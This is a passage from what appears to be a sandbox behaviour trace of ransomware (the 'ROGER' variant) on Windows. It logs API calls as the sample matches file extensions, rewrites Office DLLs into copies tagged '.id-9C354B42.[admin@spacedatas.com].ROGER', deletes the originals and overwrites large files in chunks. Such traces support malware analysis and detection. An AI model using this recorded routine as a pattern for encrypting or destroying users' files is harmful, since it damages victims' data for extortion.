nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x3d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4850020*, lpNumberOfBytesWritten=0x3d3fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0058.118] SetEndOfFile (hFile=0x3d4) returned 1 [0058.118] CloseHandle (hObject=0x3d4) returned 1 [0058.119] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.119] SetEndOfFile (hFile=0x358) returned 1 [0058.121] CloseHandle (hObject=0x358) returned 1 [0058.121] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0058.121] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\hxds.dll")) returned 1 [0058.121] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll") returned 60 [0058.121] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll") returned 60 [0058.121] lstrlenW (lpString=".doc") returned 4 [0058.121] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0058.121] lstrlenW (lpString=".docx") returned 5 [0058.121] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0058.121] lstrlenW (lpString=".pdf") returned 4 [0058.121] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0058.121] lstrlenW (lpString=".xls") returned 4 [0058.121] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0058.121] lstrlenW (lpString=".xlsx") returned 5 [0058.121] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0058.122] lstrlenW (lpString=".ppt") returned 4 [0058.122] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0058.122] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll") returned 60 [0058.122] lstrlenW (lpString=".zip") returned 4 [0058.122] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0058.122] lstrlenW (lpString=".rar") returned 4 [0058.122] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0058.122] lstrlenW (lpString=".bz2") returned 4 [0058.122] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0058.122] lstrlenW (lpString=".7z") returned 3 [0058.122] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0058.122] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll") returned 60 [0058.122] lstrlenW (lpString=".dbf") returned 4 [0058.122] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0058.122] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll") returned 60 [0058.122] lstrlenW (lpString=".1cd") returned 4 [0058.122] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0058.122] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll") returned 60 [0058.122] lstrlenW (lpString=".jpg") returned 4 [0058.122] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0058.122] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll") returned 60 [0058.122] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll") returned 60 [0058.122] lstrlenW (lpString=".doc") returned 4 [0058.122] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0058.122] lstrlenW (lpString=".docx") returned 5 [0058.122] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0058.122] lstrlenW (lpString=".pdf") returned 4 [0058.122] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0058.122] lstrlenW (lpString=".xls") returned 4 [0058.122] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0058.122] lstrlenW (lpString=".xlsx") returned 5 [0058.122] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0058.122] lstrlenW (lpString=".ppt") returned 4 [0058.123] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0058.123] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll") returned 60 [0058.123] lstrlenW (lpString=".zip") returned 4 [0058.123] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0058.123] lstrlenW (lpString=".rar") returned 4 [0058.123] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0058.123] lstrlenW (lpString=".bz2") returned 4 [0058.123] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0058.123] lstrlenW (lpString=".7z") returned 3 [0058.123] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0058.123] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll") returned 60 [0058.123] lstrlenW (lpString=".dbf") returned 4 [0058.123] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0058.123] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll") returned 60 [0058.123] lstrlenW (lpString=".1cd") returned 4 [0058.123] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0058.123] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\hxds.dll") returned 60 [0058.123] lstrlenW (lpString=".jpg") returned 4 [0058.123] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0058.123] lstrcmpiW (lpString1=".dll", lpString2=".ROGER") returned -1 [0058.123] lstrlenW (lpString="xlsrvintl.dll") returned 13 [0058.123] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\xlsrvintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0058.188] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x3d3ff1c | out: lpFileSize=0x3d3ff1c*=105344) returned 1 [0058.188] CloseHandle (hObject=0x358) returned 1 [0058.188] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\xlsrvintl.dll")) returned 0x20 [0058.189] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\xlsrvintl.dll.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0058.189] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\xlsrvintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0058.189] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.189] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.189] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\xlsrvintl.dll.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0058.189] GetLastError () returned 0x0 [0058.190] ReadFile (in: hFile=0x358, lpBuffer=0x4850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x4850020*, lpNumberOfBytesRead=0x3d3fed4*=0x19b80, lpOverlapped=0x0) returned 1 [0058.193] WriteFile (in: hFile=0x3d4, lpBuffer=0x4850020*, nNumberOfBytesToWrite=0x19b90, lpNumberOfBytesWritten=0x3d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4850020*, lpNumberOfBytesWritten=0x3d3fc9c*=0x19b90, lpOverlapped=0x0) returned 1 [0058.196] ReadFile (in: hFile=0x358, lpBuffer=0x4850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x4850020*, lpNumberOfBytesRead=0x3d3fed4*=0x0, lpOverlapped=0x0) returned 1 [0058.196] WriteFile (in: hFile=0x3d4, lpBuffer=0x4850020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x3d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4850020*, lpNumberOfBytesWritten=0x3d3fc9c*=0xee, lpOverlapped=0x0) returned 1 [0058.196] SetEndOfFile (hFile=0x3d4) returned 1 [0058.196] CloseHandle (hObject=0x3d4) returned 1 [0058.196] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.196] SetEndOfFile (hFile=0x358) returned 1 [0058.197] CloseHandle (hObject=0x358) returned 1 [0058.197] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0058.198] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\xlsrvintl.dll")) returned 1 [0058.198] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll") returned 74 [0058.198] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll") returned 74 [0058.198] lstrlenW (lpString=".doc") returned 4 [0058.198] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0058.198] lstrlenW (lpString=".docx") returned 5 [0058.198] lstrcmpiW (lpString1=".docx", lpString2="l.dll") returned -1 [0058.198] lstrlenW (lpString=".pdf") returned 4 [0058.198] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0058.198] lstrlenW (lpString=".xls") returned 4 [0058.198] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0058.198] lstrlenW (lpString=".xlsx") returned 5 [0058.198] lstrcmpiW (lpString1=".xlsx", lpString2="l.dll") returned -1 [0058.198] lstrlenW (lpString=".ppt") returned 4 [0058.198] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0058.198] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll") returned 74 [0058.198] lstrlenW (lpString=".zip") returned 4 [0058.198] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0058.198] lstrlenW (lpString=".rar") returned 4 [0058.198] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0058.198] lstrlenW (lpString=".bz2") returned 4 [0058.198] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0058.198] lstrlenW (lpString=".7z") returned 3 [0058.198] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0058.198] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll") returned 74 [0058.198] lstrlenW (lpString=".dbf") returned 4 [0058.198] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0058.198] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll") returned 74 [0058.198] lstrlenW (lpString=".1cd") returned 4 [0058.199] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0058.199] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll") returned 74 [0058.199] lstrlenW (lpString=".jpg") returned 4 [0058.199] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0058.199] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll") returned 74 [0058.199] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll") returned 74 [0058.199] lstrlenW (lpString=".doc") returned 4 [0058.199] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0058.199] lstrlenW (lpString=".docx") returned 5 [0058.199] lstrcmpiW (lpString1=".docx", lpString2="l.dll") returned -1 [0058.199] lstrlenW (lpString=".pdf") returned 4 [0058.199] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0058.199] lstrlenW (lpString=".xls") returned 4 [0058.199] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0058.199] lstrlenW (lpString=".xlsx") returned 5 [0058.199] lstrcmpiW (lpString1=".xlsx", lpString2="l.dll") returned -1 [0058.199] lstrlenW (lpString=".ppt") returned 4 [0058.199] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0058.199] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll") returned 74 [0058.199] lstrlenW (lpString=".zip") returned 4 [0058.199] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0058.199] lstrlenW (lpString=".rar") returned 4 [0058.199] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0058.199] lstrlenW (lpString=".bz2") returned 4 [0058.199] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0058.199] lstrlenW (lpString=".7z") returned 3 [0058.199] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0058.199] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll") returned 74 [0058.199] lstrlenW (lpString=".dbf") returned 4 [0058.199] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0058.199] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll") returned 74 [0058.199] lstrlenW (lpString=".1cd") returned 4 [0058.199] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0058.199] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll") returned 74 [0058.199] lstrlenW (lpString=".jpg") returned 4 [0058.200] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0058.200] lstrcmpiW (lpString1=".DLL", lpString2=".ROGER") returned -1 [0058.200] lstrlenW (lpString="ACECORE.DLL") returned 11 [0058.200] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acecore.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0058.201] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x3d3ff1c | out: lpFileSize=0x3d3ff1c*=3213192) returned 1 [0058.201] CloseHandle (hObject=0x358) returned 1 [0058.201] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acecore.dll")) returned 0x20 [0058.201] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acecore.dll.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0058.201] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acecore.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acecore.dll.id-9c354b42.[admin@spacedatas.com].roger")) returned 1 [0058.202] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acecore.dll.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0058.202] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fc6c | out: lpNewFilePointer=0x0) returned 1 [0058.202] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fc2c | out: lpNewFilePointer=0x0) returned 1 [0058.202] ReadFile (in: hFile=0x358, lpBuffer=0x4850058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3d3fc38, lpOverlapped=0x0 | out: lpBuffer=0x4850058*, lpNumberOfBytesRead=0x3d3fc38*=0x40000, lpOverlapped=0x0) returned 1 [0058.206] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x1057d8, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fc2c | out: lpNewFilePointer=0x0) returned 1 [0058.206] ReadFile (in: hFile=0x358, lpBuffer=0x4890058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3d3fc38, lpOverlapped=0x0 | out: lpBuffer=0x4890058*, lpNumberOfBytesRead=0x3d3fc38*=0x40000, lpOverlapped=0x0) returned 1 [0058.213] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x3d3fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0058.213] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x2d0788, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fc2c | out: lpNewFilePointer=0x0) returned 1 [0058.213] ReadFile (in: hFile=0x358, lpBuffer=0x48d0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3d3fc38, lpOverlapped=0x0 | out: lpBuffer=0x48d0058*, lpNumberOfBytesRead=0x3d3fc38*=0x40000, lpOverlapped=0x0) returned 1 [0058.237] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.237] WriteFile (in: hFile=0x358, lpBuffer=0x4850020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x3d3fcb0, lpOverlapped=0x0 | out: lpBuffer=0x4850020*, lpNumberOfBytesWritten=0x3d3fcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0058.496] SetEndOfFile (hFile=0x358) returned 1 [0058.496] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x40000) returned 0x4f38008 [0058.522] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fc7c | out: lpNewFilePointer=0x0) returned 1 [0058.522] WriteFile (in: hFile=0x358, lpBuffer=0x4f38008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3d3fc88, lpOverlapped=0x0 | out: lpBuffer=0x4f38008*, lpNumberOfBytesWritten=0x3d3fc88*=0x40000, lpOverlapped=0x0) returned 1 [0058.524] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x1057d8, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fc7c | out: lpNewFilePointer=0x0) returned 1 [0058.524] WriteFile (in: hFile=0x358, lpBuffer=0x4f38008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3d3fc88, lpOverlapped=0x0 | out: lpBuffer=0x4f38008*, lpNumberOfBytesWritten=0x3d3fc88*=0x40000, lpOverlapped=0x0) returned 1 [0058.528] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x2d0788, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fc7c | out: lpNewFilePointer=0x0) returned 1 [0058.528] WriteFile (in: hFile=0x358, lpBuffer=0x4f38008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3d3fc88, lpOverlapped=0x0 | out: lpBuffer=0x4f38008*, lpNumberOfBytesWritten=0x3d3fc88*=0x40000, lpOverlapped=0x0) returned 1 [0058.533] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4f38008 | out: hHeap=0x790000) returned 1 [0058.533] CloseHandle (hObject=0x358) returned 1 [0058.533] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0058.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL") returned 67 [0058.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL") returned 67 [0058.533] lstrlenW (lpString=".doc") returned 4 [0058.533] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0058.534] lstrlenW (lpString=".docx") returned 5 [0058.534] lstrcmpiW (lpString1=".docx", lpString2="E.DLL") returned -1 [0058.534] lstrlenW (lpString=".pdf") returned 4 [0058.534] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0058.534] lstrlenW (lpString=".xls") returned 4 [0058.534] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0058.534] lstrlenW (lpString=".xlsx") returned 5 [0058.534] lstrcmpiW (lpString1=".xlsx", lpString2="E.DLL") returned -1 [0058.534] lstrlenW (lpString=".ppt") returned 4 [0058.534] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0058.534] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL") returned 67 [0058.534] lstrlenW (lpString=".zip") returned 4 [0058.534] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0058.534] lstrlenW (lpString=".rar") returned 4 [0058.534] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0058.534] lstrlenW (lpString=".bz2") returned 4 [0058.534] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0058.534] lstrlenW (lpString=".7z") returned 3 [0058.534] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0058.534] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL") returned 67 [0058.534] lstrlenW (lpString=".dbf") returned 4 [0058.534] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0058.534] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL") returned 67 [0058.534] lstrlenW (lpString=".1cd") returned 4 [0058.534] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0058.534] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL") returned 67 [0058.534] lstrlenW (lpString=".jpg") returned 4 [0058.534] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0058.534] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL") returned 67 [0058.534] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL") returned 67 [0058.534] lstrlenW (lpString=".doc") returned 4 [0058.534] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0058.534] lstrlenW (lpString=".docx") returned 5 [0058.534] lstrcmpiW (lpString1=".docx", lpString2="E.DLL") returned -1 [0058.534] lstrlenW (lpString=".pdf") returned 4 [0058.534] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0058.535] lstrlenW (lpString=".xls") returned 4 [0058.535] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0058.535] lstrlenW (lpString=".xlsx") returned 5 [0058.535] lstrcmpiW (lpString1=".xlsx", lpString2="E.DLL") returned -1 [0058.535] lstrlenW (lpString=".ppt") returned 4 [0058.535] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0058.535] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL") returned 67 [0058.535] lstrlenW (lpString=".zip") returned 4 [0058.535] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0058.535] lstrlenW (lpString=".rar") returned 4 [0058.535] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0058.535] lstrlenW (lpString=".bz2") returned 4 [0058.535] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0058.535] lstrlenW (lpString=".7z") returned 3 [0058.535] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0058.535] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL") returned 67 [0058.535] lstrlenW (lpString=".dbf") returned 4 [0058.535] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0058.535] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL") returned 67 [0058.535] lstrlenW (lpString=".1cd") returned 4 [0058.535] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0058.535] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACECORE.DLL") returned 67 [0058.535] lstrlenW (lpString=".jpg") returned 4 [0058.536] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0058.536] lstrcmpiW (lpString1=".DLL", lpString2=".ROGER") returned -1 [0058.536] lstrlenW (lpString="ACEEXCH.DLL") returned 11 [0058.536] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexch.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0058.536] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x3d3ff1c | out: lpFileSize=0x3d3ff1c*=442272) returned 1 [0058.536] CloseHandle (hObject=0x358) returned 1 [0058.536] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexch.dll")) returned 0x20 [0058.536] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexch.dll.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0058.536] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexch.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0058.537] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.537] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0058.537] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexch.dll.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 